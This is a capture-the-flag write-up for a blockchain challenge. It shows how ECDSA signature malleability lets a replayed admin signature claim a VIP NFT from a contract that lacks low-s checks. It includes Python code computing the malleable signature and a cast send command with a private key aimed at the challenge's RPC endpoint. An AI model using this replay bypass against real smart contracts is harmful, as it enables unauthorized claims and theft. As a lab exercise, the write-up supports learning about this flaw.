[Blackbox] Web3_VIP
[Blackbox] Web3_VIP
Platform: caplag | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-22 | Status: Solved Techniques: bytecode_analysis, ecdsa_signature_malleability, eip712_typed_data, signature_replay_bypass, storage_slot_reading
Summary
Task: Claim a VIP NFT using an admin attestation signature, but the only known signature was already used. Solution: Exploit ECDSA signature malleability — the contract uses raw ecrecover without low-s enforcement and tracks used signatures by raw bytes hash, so a malleable signature (r, n-s, flip(v)) bypasses replay protection.
[Blackbox] Web3_VIP — CapLag
Description
A mini DeFi protocol stack (Bridge, VIP, Staking, Lending, Governance) is presented. The architecture includes an Nginx frontend, a backend server, and a local Anvil (Foundry) network as the blockchain environment. The task is specifically about the VIP component — claiming a VIP NFT membership using an admin attestation signature.
Goal: Obtain a VIP NFT by calling claimVIP() on the AccessManager contract, despite the only known signature having already been used.
Analysis
Reconnaissance
From the frontend (/js/app.js), the AccessManager contract ABI was extracted:
claimVIP(uint256 nonce, bytes signature) returns (uint256)balanceOf(address who) view returns (uint256)
From /runtime/config.json:
- Contract address:
0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 - Nonce: 42
- Used signature:
0x6ed999...135a1b
Vulnerability
Bytecode analysis of the contract revealed:
- Uses EIP-712 typed data signing (domain: "CapLag VIP Pass", version "1")
- Verifies signature via raw
ecrecoverwithout low-s enforcement - Tracks used signatures via
mapping(bytes32 => bool)bykeccak256of the raw signature bytes
ECDSA Signature Malleability: For any valid signature (r, s, v), there exists an equivalent (r, n-s, flip(v)). The contract does not check s canonicity, and replay protection is based on raw bytes hash — a malleable signature bypasses both checks.
Solution
python read-only • copy allowed# secp256k1 curve order n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 # Original signature (from config.json) r = 0x6ed999961388ab2be9369503d9b9d7d22fe54cdc48b81d49bd03926ce50232b0 s = 0x6f4be70333b24d2b55709254301578a3570d7fdb5204173ac3195bcab604135a v = 27 # Malleable signature new_s = n - s # 0x90b418fccc4db2d4aa8f6dabcfea875b63a15d0b5d448900fcb902c21a322de7 new_v = 28
bash read-only • copy allowedcast send 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 \ "claimVIP(uint256,bytes)" 42 \ "0x6ed999961388ab2be9369503d9b9d7d22fe54cdc48b81d49bd03926ce50232b090b418fccc4db2d4aa8f6dabcfea875b63a15d0b5d448900fcb902c21a322de71c" \ --private-key 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d \ --rpc-url http://not-web.caplag-task.ru:31483